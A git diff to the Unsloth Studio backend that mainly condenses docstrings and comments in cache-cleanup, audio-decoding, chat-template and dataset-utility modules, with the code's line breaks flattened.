returns a bodiless Response.+ # Statuses like 204/304/1xx must not carry a body, mirroring FastAPI's default http_exception_handler, which returns a bodiless Response.if not is_body_allowed_for_status_code(exc.status_code):return Response(status_code = exc.status_code, headers = headers)if wants_api_error_envelope(path):@@ -352,14 +275,12 @@ def install_api_error_handlers(app) -> None:content = detail,headers = headers,)- # A dict carrying our individual fields.if isinstance(detail, dict):message = detail.get("message", detail)err_type = detail.get("type")code = detail.get("code")param = detail.get("param")else:- # Plain message string (the common HTTPException case).message = detailerr_type = Nonecode = Nonediff --git a/studio/backend/utils/cache_cleanup.py b/studio/backend/utils/cache_cleanup.pyindex 9964d524144..b64ba1f4ec4 100644--- a/studio/backend/utils/cache_cleanup.py+++ b/studio/backend/utils/cache_cleanup.py@@ -1,13 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Clean up the Unsloth compiled cache directory.--unsloth_compiled_cache (created by unsloth_zoo/compiler.py during-FastModel.from_pretrained) holds model-type-specific compiled files. Clear it-selectively between model loads, preserving model-agnostic components (Trainers)-that spawned subprocesses need.-"""+"""Clean up the Unsloth compiled cache directory. unsloth_compiled_cache (created by unsloth_zoo/compiler.py during FastModel.from_pretrained) holds model-type-specific compiled files; clear it selectively between model loads, preserving model-agnostic components (Trainers) that spawned subprocesses need."""import contextlibimport errno@@ -23,7 +17,6 @@ logger = get_logger(__name__)_BACKEND_DIR = Path(__file__).resolve().parent.parent_PROJECT_ROOT = _BACKEND_DIR.parent.parent-# Possible locations where unsloth_compiled_cache may appear_CACHE_DIRS = [_BACKEND_DIR / "unsloth_compiled_cache",_PROJECT_ROOT / "unsloth_compiled_cache",@@ -32,12 +25,7 @@ _CACHE_DIRS = [def _configured_cache_dirs() -> List[Path]:- """Cache dirs outside the source tree: the configured one, and the CWD.-- The candidates above are all source-tree relative, so a cache created in- the launcher's CWD (the user profile on Windows) was invisible to cleanup.- The CWD is still checked for installs that predate the pinned location.- """+ """Cache dirs outside the source tree: the configured one, and the CWD. The candidates above are all source-tree relative, so a cache created in the launcher's CWD (the user profile on Windows) was invisible to cleanup. The CWD is still checked for installs that predate the pinned location."""import osdirs: List[Path] = []@@ -68,27 +56,19 @@ def get_existing_cache_dirs() -> List[Path]:return found-# Written when Unsloth creates the directory, so "we made this" is a fact rather-# than an inference from the contents.+# Written when Unsloth creates the directory, so "we made this" is a fact rather than an inference from the contents.CACHE_MARKER = ".unsloth_compiled_cache"-# Names only the compiler produces, so a cache Unsloth did not create is still-# recognised once it has been written into.+# Names only the compiler produces, so a cache Unsloth did not create is still recognised once it has been written into.import re as _re_GENERATED_NAME_RE = _re.compile(r"\A(unsloth_compiled_module_.+|Unsloth.+Trainer)\.py\Z")-# What may be deleted from a directory we do not own.-# Unsloth*Trainer.py is a convention a user's own subclass can match, and there the marker is the only thing that would-# say we wrote it.+# What may be deleted from a directory we do not own. Unsloth*Trainer.py is a convention a user's own subclass can match, and there the marker is the only thing that would say we wrote it._OWNED_DELETE_RE = _re.compile(r"\Aunsloth_compiled_module_.+\.py\Z")def _is_dedicated_cache(path: Path) -> bool:- """True only for a directory Unsloth created for the cache and nothing else.-- A real file, not a link: exists() follows one, so a marker symlinked at any- existing path would license the rmtree below over somebody's own directory.- """+ """True only for a directory Unsloth created for the cache and nothing else. A real file, not a link: exists() follows one, so a marker symlinked at any existing path would license the rmtree below over somebody's own directory."""marker = path / CACHE_MARKERtry:return marker.is_file() and not marker.is_symlink()@@ -97,9 +77,7 @@ def _is_dedicated_cache(path: Path) -> bool:def _trusted_cache_paths() -> set:- """Where a cache is ours by where it is: the source-tree candidates, and- whatever UNSLOTH_COMPILE_LOCATION names, since that is the caller's answer- to where the cache lives. Never the launch directory."""+ """Where a cache is ours by where it is: the source-tree candidates, and whatever UNSLOTH_COMPILE_LOCATION names, since that is the caller's answer to where the cache lives. Never the launch directory."""trusted = _builtin_cache_paths()configured = (os.environ.get("UNSLOTH_COMPILE_LOCATION") or "").strip()if configured:@@ -115,11 +93,7 @@ def _entries(path: Path) -> list:def _holds_generated_modules(path: Path) -> bool:- """True when the compiler has written into this directory.-- A shape test is not enough to own the directory: a directory of plain .py- files is someone's package, and this decides what gets deleted.- """+ """True when the compiler has written into this directory. A shape test is not enough to own the directory: a directory of plain .py files is someone's package, and this decides what gets deleted."""try:return any(item.is_file() and _GENERATED_NAME_RE.match(item.name) for item in path.iterdir()@@ -129,28 +103,16 @@ def _holds_generated_modules(path: Path) -> bool:def _builtin_cache_paths() -> set:- """Paths that are ours by construction, so they need no marker.-- The CWD candidate is deliberately not one: Unsloth is launched from wherever- the shell happens to be, and a directory there is only ours if it says so.- """+ """Paths that are ours by construction, so they need no marker. The CWD candidate is deliberately not one: Unsloth is launched from wherever the shell happens to be, and a directory there is only ours if it says so."""return {str(p) for p in _CACHE_DIRS}def _cleanable_cache_dirs() -> "List[tuple]":- """``(directory, dedicated)`` for every cache dir something may be removed from.-- UNSLOTH_COMPILE_LOCATION is a user-set variable, so it can name a directory- that holds other things (`$HOME/.cache`). Built-in paths, and any directory- carrying the marker, are ours whole. Anywhere else only the generated files- are ours, so only those may go.- """+ """``(directory, dedicated)`` for every cache dir something may be removed from. UNSLOTH_COMPILE_LOCATION is a user-set variable, so it can name a directory that holds other things (`$HOME/.cache`). Built-in paths, and any directory carrying the marker, are ours whole; anywhere else only the generated files are ours, so only those may go."""builtin = _builtin_cache_paths()cleanable: "List[tuple]" = []for cache_dir in get_existing_cache_dirs():- # A built-in path is ours by construction only while it IS the directory.- # Through a link, the marker on the target is the only proof, since the- # clearing below resolves it and would take whatever it points at.+ # A built-in path is ours by construction only while it IS the directory. Through a link, the marker on the target is the only proof, since the clearing below resolves it and would take whatever it points at.owned_by_path = str(cache_dir) in builtin and not cache_dir.is_symlink()if owned_by_path or _is_dedicated_cache(cache_dir):cleanable.append((cache_dir, True))@@ -167,21 +129,14 @@ def _cleanable_cache_dirs() -> "List[tuple]":def register_compiled_cache_on_path() -> None:- """Add all existing compiled-cache directories to sys.path and PYTHONPATH.-- Ensures spawned workers (on 'spawn'-start platforms, i.e. Windows and macOS)- can import dynamically compiled modules such as UnslothSFTTrainer.- """+ """Add all existing compiled-cache directories to sys.path and PYTHONPATH, so spawned workers (on 'spawn'-start platforms, i.e. Windows and macOS) can import dynamically compiled modules such as UnslothSFTTrainer."""import osimport syspypath = os.environ.get("PYTHONPATH", "")pypath_entries = [p for p in pypath.split(os.pathsep) if p]- # Iterate in reverse so earlier _CACHE_DIRS entries (higher priority) are inserted last and thus end up first in- # sys.path / PYTHONPATH. Same ownership test as cleanup: a directory in the launch dir needs a file only the- # compiler writes, since Unsloth*Trainer.py is a name a user's own subclass can carry and that directory goes on- # sys.path.+ # Iterate in reverse so earlier _CACHE_DIRS entries (higher priority) are inserted last and thus end up first in sys.path / PYTHONPATH. Same ownership test as cleanup: a directory in the launch dir needs a file only the compiler writes, since Unsloth*Trainer.py is a name a user's own subclass can carry and that directory goes on sys.path.trusted = _trusted_cache_paths()registrable = [d@@ -201,32 +156,21 @@ def register_compiled_cache_on_path() -> None:def cache_coordination_dir() -> Path:- """Where backends of this install find each other.-- The studio home, the same scope the startup markers use. Two backends of one- install share an install-tree compiled cache and that is the case this- coordinates; two SEPARATE installs pointed at one UNSLOTH_COMPILE_LOCATION- are not coordinated, and clearing is best effort there, as it was before.- """+ """Where backends of this install find each other: the studio home, the same scope the startup markers use. Two backends of one install share an install-tree compiled cache and that is the case this coordinates; two SEPARATE installs pointed at one UNSLOTH_COMPILE_LOCATION are not coordinated, and clearing is best effort there, as it was before."""from utils.paths.storage_roots import studio_rootreturn studio_root()-# Held: we may probe and clear. Busy: someone else is in that critical section.-# Unavailable means no lock could be taken at all, which must not mean "never clear the cache again", so the caller-# falls back to the unserialized probe it used before this lock.+# Held: we may probe and clear. Busy: someone else is in that critical section. Unavailable means no lock could be taken at all, which must not mean "never clear the cache again", so the caller falls back to the unserialized probe it used before this lock.LOCK_HELD = "held"LOCK_BUSY = "busy"LOCK_UNAVAILABLE = "unavailable"-# Long enough to outlast a real clear (an rmtree of a few dozen files), short-# enough that a wedged holder cannot stall lifespan startup behind it.+# Long enough to outlast a real clear (an rmtree of a few dozen files), short enough that a wedged holder cannot stall lifespan startup behind it._LOCK_TIMEOUT = 10.0-# flock/msvcrt report contention through these; anything else is the lock being unsupported, and retrying for ten-# seconds to answer "busy" pins the cache forever, since busy proves a sibling.-# Anything else is ENOSYS, or EOPNOTSUPP on a network mount.+# flock/msvcrt report contention through these; anything else is the lock being unsupported (ENOSYS, or EOPNOTSUPP on a network mount), and retrying for ten seconds to answer "busy" pins the cache forever, since busy proves a sibling._CONTENTION_ERRNOS = frozenset(codefor code in (@@ -263,16 +207,7 @@ def _unlock(fd: int) -> None:@contextlib.contextmanagerdef compiled_cache_lock(timeout: float = _LOCK_TIMEOUT):- """Serialize a sibling probe plus cache clear against a sibling's publication.-- Without it the probe is a check-then-act race with a real window: A probes and- finds nobody, B publishes its startup marker and begins compiling, A then- clears and deletes the modules B just wrote. Holding this across both halves- (the probe plus clear here, the marker write in run.py) closes it.-- Never raises at the caller and never waits indefinitely: startup runs through- here, so a lock that cannot be taken has to degrade rather than block.- """+ """Serialize a sibling probe plus cache clear against a sibling's publication. Without it the probe is a check-then-act race with a real window: A probes and finds nobody, B publishes its startup marker and begins compiling, A then clears and deletes the modules B just wrote. Holding this across both halves (the probe plus clear here, the marker write in run.py) closes it. Never raises at the caller and never waits indefinitely: startup runs through here, so a lock that cannot be taken has to degrade rather than block."""import timetry:@@ -280,9 +215,7 @@ def compiled_cache_lock(timeout: float = _LOCK_TIMEOUT):lock_dir.mkdir(parents = True, exist_ok = True)fd = os.open(str(lock_dir / "compiled-cache.lock"), os.O_CREAT | os.O_RDWR, 0o600)except Exception as exc: # noqa: BLE001- # Resolving or opening it is part of taking it, so it degrades the same- # way rather than aborting a startup that only wanted to know about- # siblings.+ # Resolving or opening it is part of taking it, so it degrades the same way rather than aborting a startup that only wanted to know about siblings.logger.debug(f"Could not open the compiled-cache lock ({exc})")yield LOCK_UNAVAILABLEreturn@@ -323,29 +256,13 @@ def compiled_cache_lock(timeout: float = _LOCK_TIMEOUT):def clear_compiled_cache_unless_shared(sibling_probe = None) -> None:- """Clear the compiled cache, unless another backend of this install is live.-- The cache sits in the install tree, not the studio home, so two of our own- backends share it and the wipe would delete modules the other one is still- importing -- including the Unsloth*Trainer.py that the in-process clears- preserve for spawn workers. run_server supplies the probe; without it (tests,- an embedded app) the old unconditional clear stands.-- The probe and the clear run under `compiled_cache_lock` so a sibling cannot- publish itself in between and lose the modules it has already compiled.-- Two launches that overlap from cold both keep a cache neither has cleaned,- so stale modules can survive until the next start that finds itself alone.- That is the deliberate direction: the failure this replaces was the two of- them deleting each other's modules mid-run.- """+ """Clear the compiled cache, unless another backend of this install is live. The cache sits in the install tree, not the studio home, so two of our own backends share it and the wipe would delete modules the other one is still importing, including the Unsloth*Trainer.py that the in-process clears preserve for spawn workers. run_server supplies the probe; without it (tests, an embedded app) the old unconditional clear stands. The probe and the clear run under `compiled_cache_lock` so a sibling cannot publish itself in between and lose the modules it has already compiled. Two launches that overlap from cold both keep a cache neither has cleaned, so stale modules can survive until the next start that finds itself alone: that is the deliberate direction, since the failure this replaces was the two of them deleting each other's modules mid-run."""if not callable(sibling_probe):clear_unsloth_compiled_cache()returnwith compiled_cache_lock() as lock_state:if lock_state == LOCK_BUSY:- # Somebody is inside the critical section, so there is a sibling by- # definition; that is already the answer, no probe needed.+ # Somebody is inside the critical section, so there is a sibling by definition; that is already the answer, no probe needed.logger.info("Keeping the compiled cache: another backend of this install holds the cache lock")@@ -360,18 +277,10 @@ def clear_compiled_cache_unless_shared(sibling_probe = None) -> None:def clear_unsloth_compiled_cache(preserve_patterns: Optional[List[str]] = None) -> None:- """- Remove compiled files from the cache directory (idempotent).-- Args:- preserve_patterns: glob patterns for files to keep- (e.g., ["Unsloth*Trainer.py"]). If None or empty,- the entire cache directory is deleted (legacy behavior).- """+ """Remove compiled files from the cache directory (idempotent). ``preserve_patterns`` are glob patterns for files to keep (e.g. ["Unsloth*Trainer.py"]); None or empty deletes the entire cache directory (legacy behavior)."""for cache_dir, dedicated in _cleanable_cache_dirs():if not dedicated:- # A shared directory we only ever wrote generated modules into, so- # they are the only thing here that may be removed.+ # A shared directory we only ever wrote generated modules into, so they are the only thing here that may be removed.logger.info(f"Cleaning generated modules from shared directory: {cache_dir}")for item in cache_dir.iterdir():if not item.is_file() or not _OWNED_DELETE_RE.match(item.name):@@ -397,16 +306,12 @@ def clear_unsloth_compiled_cache(preserve_patterns: Optional[List[str]] = None)logger.debug(f"Could not delete {item}: {e}")elif item.is_dir():- # Always clear __pycache__ and other subdirectoriesshutil.rmtree(item, ignore_errors = True)else:- # Legacy: remove the entire directory. Resolved first: rmtree refuses- # a symlink, and ignore_errors would leave the whole cache in place.+ # Legacy: remove the entire directory. Resolved first: rmtree refuses a symlink, and ignore_errors would leave the whole cache in place.logger.info(f"Removing unsloth compiled cache: {cache_dir}")shutil.rmtree(Path(os.path.realpath(cache_dir)), ignore_errors = True)- # The marker goes with whatever was cleared and nothing rewrites it, so the next cleanup would demote our own- # cache to "shared". A built-in path needs none unless it is a dangling link.- # setup_cache_env writes the marker only when it first sets the variable.+ # The marker goes with whatever was cleared and nothing rewrites it, so the next cleanup would demote our own cache to "shared". A built-in path needs none unless it is a dangling link. setup_cache_env writes the marker only when it first sets the variable.if dedicated and (str(cache_dir) not in _builtin_cache_paths() or cache_dir.is_symlink()):try:restored = Path(os.path.realpath(cache_dir))diff --git a/studio/backend/utils/datasets/audio_decode.py b/studio/backend/utils/datasets/audio_decode.pyindex 27b4d2809c0..857be8d4abd 100644--- a/studio/backend/utils/datasets/audio_decode.py+++ b/studio/backend/utils/datasets/audio_decode.py@@ -1,15 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Decode `datasets` Audio columns with soundfile when torchcodec cannot load.--`datasets` 4.x decodes audio only through torchcodec, which needs an FFmpeg full-shared-install to dlopen its native libraries. Windows has none by default, so-`disable_torchcodec_if_broken` clears `datasets.config.TORCHCODEC_AVAILABLE` and every-audio column raises, blocking the dataset format check and all six audio trainer paths-on an otherwise working host. A soundfile decoder restores the pre-4.0 output contract,-`{"path", "array", "sampling_rate"}`, which is what those callers already read.-"""+"""Decode `datasets` Audio columns with soundfile when torchcodec cannot load. `datasets` 4.x decodes audio only through torchcodec, which needs an FFmpeg full-shared install to dlopen its native libraries; Windows has none by default, so `disable_torchcodec_if_broken` clears `datasets.config.TORCHCODEC_AVAILABLE` and every audio column raises, blocking the dataset format check and all six audio trainer paths on an otherwise working host. A soundfile decoder restores the pre-4.0 output contract, `{"path", "array", "sampling_rate"}`, which is what those callers already read."""from __future__ import annotations@@ -27,13 +19,7 @@ _install_lock = threading.Lock()def _token_for_url(path: str, token_per_repo_id: Optional[dict]) -> Any:- """Pick the credential belonging to the repository this URL points at.-- A mapping holds one entry per source repo, and `concatenate_datasets` or- `interleave_datasets` over streaming splits puts several in it at once, so taking an- arbitrary value would send one repo's token to another repo's host. Resolved the way- `datasets.Audio.decode_example` does it, from the repo id embedded in the URL.- """+ """Pick the credential belonging to the repository this URL points at. A mapping holds one entry per source repo, and `concatenate_datasets` or `interleave_datasets` over streaming splits puts several in it at once, so taking an arbitrary value would send one repo's token to another repo's host. Resolved the way `datasets.Audio.decode_example` does it, from the repo id embedded in the URL."""if not token_per_repo_id:return Nonefrom datasets import config@@ -52,8 +38,7 @@ def _token_for_url(path: str, token_per_repo_id: Optional[dict]) -> Any:# Older `datasets` raise here instead of returning None.fields = Noneif fields is None:- # Not a Hub URL, so no repo id to key on. One entry is unambiguous and is the- # shape every caller in this codebase passes; more than one is not guessable.+ # Not a Hub URL, so no repo id to key on. One entry is unambiguous and is the shape every caller in this codebase passes; more than one is not guessable.values = list(token_per_repo_id.values())return values[0] if len(values) == 1 else Nonereturn token_per_repo_id.get(fields["repo_id"])@@ -106,18 +91,7 @@ def _decode_with_soundfile(def _encode_with_soundfile(self, value) -> dict:- """Stand-in for `datasets.Audio.encode_example` that never needs FFmpeg.-- The audio VLM path maps without `remove_columns`, so reading `["array"]` writes the- decoded value back and `cast_storage` re-encodes it through torchcodec's encoder,- failing a run the decoder above had just unblocked.-- The plain path/bytes forms need no encoder at all, but `datasets` imports- `torchcodec.encoders` at the top of `encode_example` before it looks at the value, so- casting a column of file paths raises on a broken host too. Those are handled here- rather than delegated. Only an `AudioDecoder` value falls through, which genuinely- needs torchcodec and cannot arrive while this shim is installed.- """+ """Stand-in for `datasets.Audio.encode_example` that never needs FFmpeg. The audio VLM path maps without `remove_columns`, so reading `["array"]` writes the decoded value back and `cast_storage` re-encodes it through torchcodec's encoder, failing a run the decoder above had just unblocked. The plain path/bytes forms need no encoder at all, but `datasets` imports `torchcodec.encoders` at the top of `encode_example` before it looks at the value, so casting a column of file paths raises on a broken host too; those are handled here rather than delegated. Only an `AudioDecoder` value falls through, which genuinely needs torchcodec and cannot arrive while this shim is installed."""import iofrom pathlib import Path@@ -139,27 +113,19 @@ def _encode_with_soundfile(self, value) -> dict:def ensure_audio_decoding() -> bool:- """Install the soundfile decoder when torchcodec is unusable. Idempotent.-- False means neither backend is importable, and the caller should report that rather- than let a decode raise deep inside `datasets`.- """+ """Install the soundfile decoder when torchcodec is unusable. Idempotent. False means neither backend is importable, and the caller should report that rather than let a decode raise deep inside `datasets`."""global _installedtry:from datasets import configfrom datasets.features.audio import Audioexcept ImportError:return False- # `datasets` < 4 (pyproject still allows >=3.4.1) decodes through soundfile itself and- # defines no TORCHCODEC_AVAILABLE, so the read below raised AttributeError at the- # unguarded call site. Nothing to install there, so say so.+ # `datasets` < 4 (pyproject still allows >=3.4.1) decodes through soundfile itself and defines no TORCHCODEC_AVAILABLE, so the read below raised AttributeError at the unguarded call site. Nothing to install there, so say so.if not hasattr(config, "TORCHCODEC_AVAILABLE"):return Trueif config.TORCHCODEC_AVAILABLE and not _installed:try:- # config only ran find_spec, and an installed torchcodec whose native libraries cannot dlopen still passes- # that. The API process never imports unsloth, so disable_torchcodec_if_broken has not corrected the flag- # here.+ # config only ran find_spec, and an installed torchcodec whose native libraries cannot dlopen still passes that. The API process never imports unsloth, so disable_torchcodec_if_broken has not corrected the flag here.from datasets.features._torchcodec import AudioDecoder # noqa: F401except (ImportError, OSError, RuntimeError) as exc:logger.info("torchcodec is installed but unusable (%s)", exc)@@ -169,8 +135,7 @@ def ensure_audio_decoding() -> bool:if _installed:return Truetry:- # librosa too: every trainer path casts to a target rate, so a decoder that cannot- # resample would raise from inside `datasets` exactly where this returns False.+ # librosa too: every trainer path casts to a target rate, so a decoder that cannot resample would raise from inside `datasets` exactly where this returns False.import librosa # noqa: F401import soundfile # noqa: F401except (ImportError, OSError) as exc:diff --git a/studio/backend/utils/datasets/chat_templates.py b/studio/backend/utils/datasets/chat_templates.pyindex 398ba6941b9..afc2d3fef23 100644--- a/studio/backend/utils/datasets/chat_templates.py+++ b/studio/backend/utils/datasets/chat_templates.py@@ -1,10 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Chat template utilities for dataset processing.--Apply chat templates to datasets and generate dataset info summaries.-"""+"""Chat template utilities for dataset processing: apply chat templates to datasets and generate dataset info summaries."""import warnings as python_warnings@@ -59,16 +56,7 @@ def _chat_template_kwargs() -> dict:def get_tokenizer_chat_template(tokenizer, model_name):- """Apply a chat template to the tokenizer, using Unsloth's- get_chat_template when the model class name is in the mapper.-- Args:- tokenizer: HuggingFace tokenizer- model_name: Model class name (e.g., "Gemma3ForCausalLM")-- Returns:- tokenizer with the chat template applied- """+ """Apply a chat template to ``tokenizer``, using Unsloth's get_chat_template when ``model_name`` (a model class name such as "Gemma3ForCausalLM") is in the mapper. Returns the tokenizer with the template applied."""try:from unsloth.chat_templates import get_chat_templateexcept ImportError:@@ -151,21 +139,9 @@ def apply_chat_template_to_dataset(num_proc = None,progress_callback = None,):- """Apply the chat template to a dataset based on its format.-- Args:- dataset_info: Output from format_dataset() with metadata- tokenizer: Tokenizer with chat template- custom_prompt_template: Deprecated. Non-None values are rejected because Studio cannot- persist a matching inference template.- add_eos_token: If True, append tokenizer.eos_token to each text- remove_bos_prefix: If True, remove '<bos>' prefix (Gemma, etc.)- custom_format_mapping: Dict mapping custom columns to standard format- batch_size: Batch size for processing- num_proc: Number of processes-- Returns:- dict with dataset, success status, warnings, and errors+ """Apply the chat template to a dataset based on its format, returning a dict with the dataset, success status, warnings and errors.++ ``dataset_info`` is the output of format_dataset() with metadata. ``custom_prompt_template`` is deprecated and non-None values are rejected, because Studio cannot persist a matching inference template. ``add_eos_token`` appends tokenizer.eos_token to each text, ``remove_bos_prefix`` strips a leading '<bos>' (Gemma and friends), ``custom_format_mapping`` maps custom columns to the standard format, and ``batch_size`` / ``num_proc`` control processing."""dataset = dataset_info["dataset"]final_format = dataset_info["final_format"]@@ -195,7 +171,6 @@ def apply_chat_template_to_dataset(# CUSTOM FORMAT MAPPING (for non-standard datasets)if final_format == "unknown":if custom_format_mapping is None and auto_detect_mapping:- # Skip if format_dataset already tried and failed.if not dataset_info.get("auto_detection_attempted", False):custom_format_mapping = detect_custom_format_heuristic(dataset)if custom_format_mapping:@@ -209,7 +184,6 @@ def apply_chat_template_to_dataset("errors": errors}else:- # Already failed once in format_dataset; don't retry.errors.append("Format remains unknown after detection attempts. ""Please provide custom_format_mapping to specify column roles manually."@@ -264,13 +238,11 @@ def apply_chat_template_to_dataset(return resulttry:- # Mirror the other call sites: omit eager-only kwargs (num_proc/desc)- # for streaming IterableDatasets, whose .map() rejects them.+ # Mirror the other call sites: omit eager-only kwargs (num_proc/desc) for streaming IterableDatasets, whose .map() rejects them.custom_map_kwargs = {"batched": True, "batch_size": batch_size}if not is_streaming_dataset(dataset):custom_map_kwargs["desc"] = "Applying custom ChatML mapping"dataset = dataset.map(_apply_custom_mapping, **custom_map_kwargs)- # Update to use conversations formatfinal_format = "chatml_conversations"chat_column = "conversations"is_standardized = True@@ -287,7 +259,7 @@ def apply_chat_template_to_dataset(# ALPACA FORMATif final_format == "alpaca":- # Set alpaca chat template (if unset) so it's saved for inference.+ # Set the alpaca chat template if unset, so it is saved for inference.if not (hasattr(tokenizer, 'chat_template') and tokenizer.chat_template):try:from unsloth.chat_templates import get_chat_template@@ -356,7 +328,6 @@ def apply_chat_template_to_dataset(if not is_standardized:warnings.append("Dataset may not be fully standardized")- # Apply Unsloth chat template if the model matches.if model_name:tokenizer = get_tokenizer_chat_template(tokenizer, model_name)@@ -401,7 +372,6 @@ def apply_chat_template_to_dataset(dataset_map_kwargs['num_proc'] = num_procdataset_map_kwargs['desc'] = f"Applying chat template to {final_format}"- # Monitor dataset.map() tqdm progress and relay it._tqdm_monitor_stop = Noneif progress_callback and not is_iterable:import threadingdiff --git a/studio/backend/utils/datasets/dataset_none_detect.py b/studio/backend/utils/datasets/dataset_none_detect.pyindex abd5c6fa6fe..e3afa2eab52 100644--- a/studio/backend/utils/datasets/dataset_none_detect.py+++ b/studio/backend/utils/datasets/dataset_none_detect.py@@ -25,7 +25,6 @@ from datasets import Dataset# Conversation column probing (shared by detection + scanning)# Candidate column names for conversational datasets, checked in priority order.-# ---------------------------------------------------------------------------CONVERSATION_COLUMNS = ("messages", "conversations", "texts")@@ -128,7 +127,6 @@ def _probe_conversation(dataset: Dataset, candidates = None):# None-detection helpers-# ---------------------------------------------------------------------------def is_none_or_empty(value) -> bool:@@ -186,7 +184,6 @@ def _classify_empty(value) -> str:# Alpaca detection-# ---------------------------------------------------------------------------def find_none_alpaca(dataset: Dataset) -> dict:@@ -224,7 +221,6 @@ def find_none_alpaca(dataset: Dataset) -> dict:# ChatML / conversational detection-# ---------------------------------------------------------------------------def find_none_chatml(dataset: Dataset, col: str = None) -> dict:@@ -370,7 +366,6 @@ def find_none_chatml(dataset: Dataset, col: str = None) -> dict:# Convenience wrappers per format (all delegate to the same scan logic)-# ---------------------------------------------------------------------------def find_none_sharegpt(dataset: Dataset, col: str = None) -> dict:@@ -409,7 +404,6 @@ def find_none_gptoss(dataset: Dataset, col: str = None) -> dict:# chatml with a 'developer' role).# Each entry is name, match(dataset, conv_info) -> bool, scan (find_none_* function); to add one write# find_none_<name>() or reuse find_none_chatml, and detect_format(), --format and scan_dataset() pick it up.-# ---------------------------------------------------------------------------FORMAT_REGISTRY = [{@@ -560,7 +554,6 @@ def scan_dataset(dataset: Dataset, fmt: str = "auto") -> dict:# Report printing-# ---------------------------------------------------------------------------def _print_summary_header(stats: dict, fmt: str) -> bool:@@ -758,7 +751,6 @@ def show_row(# CLI entry point-# ---------------------------------------------------------------------------if __name__ == "__main__":import argparsediff --git a/studio/backend/utils/datasets/dataset_utils.py b/studio/backend/utils/datasets/dataset_utils.pyindex 0799d927174..4865ee719ed 100644--- a/studio/backend/utils/datasets/dataset_utils.py+++ b/studio/backend/utils/datasets/dataset_utils.py@@ -1,22 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""-Dataset utilities for format detection, conversion, and template application.--Main entry points for dataset processing:-- check_dataset_format: lightweight check if manual mapping is needed (frontend)-- format_dataset: detects and normalizes dataset formats-- format_and_template_dataset: end-to-end processing with chat template--Internal utilities live in separate modules:-- format_detection: detect_dataset_format, detect_multimodal_dataset, etc.-- format_conversion: standardize_chat_format, convert_chatml_to_alpaca, etc.-- chat_templates: apply_chat_template_to_dataset, get_tokenizer_chat_template, etc.-- vlm_processing: generate_smart_vlm_instruction-- data_collators: DeepSeekOCRDataCollator, VLMDataCollator-- model_mappings: TEMPLATE_TO_MODEL_MAPPER-"""+"""Dataset utilities for format detection, conversion, and template application. Entry points: check_dataset_format (lightweight check whether manual mapping is needed, for the frontend), format_dataset (detects and normalizes dataset formats) and format_and_template_dataset (end-to-end processing with chat template). Internal utilities live in format_detection, format_conversion, chat_templates, vlm_processing, data_collators and model_mappings."""import json@@ -51,37 +36,16 @@ logger = get_logger(__name__)def check_dataset_format(dataset, is_vlm: bool = False) -> dict:- """- Lightweight format check without processing - for frontend validation.-- Quickly determines if the user must manually map columns before the full- format_and_template_dataset().-- Args:- dataset: HuggingFace dataset- is_vlm: Whether this is a Vision-Language Model dataset-- Returns:- dict: {- "requires_manual_mapping": bool - True if user must map columns,- "detected_format": str - The detected format,- "columns": list - Available column names for mapping UI,- "suggested_mapping": dict or None - Auto-detected mapping if available,- "detected_image_column": str or None - For VLM only,- "detected_text_column": str or None - For VLM only,- }- """+ """Lightweight format check without processing, for frontend validation: quickly determines whether the user must manually map columns before the full format_and_template_dataset(). Returns requires_manual_mapping, detected_format, columns (for the mapping UI), suggested_mapping, and detected_image_column / detected_text_column for VLM datasets."""columns = (list(dataset.column_names)if hasattr(dataset, "column_names")else list(next(iter(dataset)).keys()))- # Auto-detect multimodal data regardless of is_vlm flagmultimodal_info = detect_multimodal_dataset(dataset)is_audio = multimodal_info.get("is_audio", False)- # Common audio fields for all return pathsaudio_fields = {"is_audio": is_audio,"detected_audio_column": multimodal_info.get("detected_audio_column"),@@ -121,7 +85,6 @@ def check_dataset_format(dataset, is_vlm: bool = False) -> dict:}if is_audio:- # Audio dataset - require manual mapping only when columns aren't auto-detecteddetected_audio = multimodal_info.get("detected_audio_column")detected_text = multimodal_info.get("detected_text_column")needs_mapping = not detected_audio or not detected_text@@ -137,10 +100,8 @@ def check_dataset_format(dataset, is_vlm: bool = False) -> dict:**audio_fields,}- # Text / LLM flowdetected = detect_dataset_format(dataset)- # If format is unknown, try heuristic detectionif detected["format"] == "unknown":heuristic_mapping = detect_custom_format_heuristic(dataset)if heuristic_mapping:@@ -156,7 +117,6 @@ def check_dataset_format(dataset, is_vlm: bool = False) -> dict:**audio_fields,}else:- # Heuristic failed - user must map manually (or use AI Assist)return {"requires_manual_mapping": True,"detected_format": "unknown",@@ -218,19 +178,7 @@ def _apply_user_mapping(mapping: dict,batch_size: int = 1000,):- """- Apply user-provided column mapping to convert dataset to conversations format.-- Accepts chatml (user/assistant/system), sharegpt (human/gpt/system), and- alpaca (instruction/input/output) role names — all normalised to chatml.-- If the mapping has ``__``-prefixed metadata keys (from the conversion- advisor), routes to template-based conversion instead of simple role mapping.-- Returns:- Dataset with single 'conversations' column- """- # Split metadata from column roles+ """Apply user-provided column mapping to convert dataset to conversations format. Accepts chatml (user/assistant/system), sharegpt (human/gpt/system) and alpaca (instruction/input/output) role names, all normalised to chatml. If the mapping has ``__``-prefixed metadata keys (from the conversion advisor), routes to template-based conversion instead of simple role mapping. Returns a dataset with a single 'conversations' column."""meta = {k: v for k, v in mapping.items() if k.startswith("__")}column_roles = {k: v for k, v in mapping.items() if not k.startswith("__")}@@ -273,9 +221,7 @@ def _apply_user_mapping(def _extract_column_value(val, col: str, label_mapping: dict) -> str:"""Extract a string value from a column, handling complex types and label mapping."""- # Complex types (dicts, lists): extract useful text instead of raw reprif isinstance(val, dict):- # Common pattern: {"text": [...]} in QA datasetsif "text" in val:inner = val["text"]str_val = inner[0] if isinstance(inner, list) and inner else str(inner)@@ -286,7 +232,6 @@ def _extract_column_value(val, col: str, label_mapping: dict) -> str:else:str_val = str(val) if val is not None else ""- # Apply label mapping if this column has oneif col in label_mapping and isinstance(label_mapping[col], dict):str_val = label_mapping[col].get(str_val, str_val)@@ 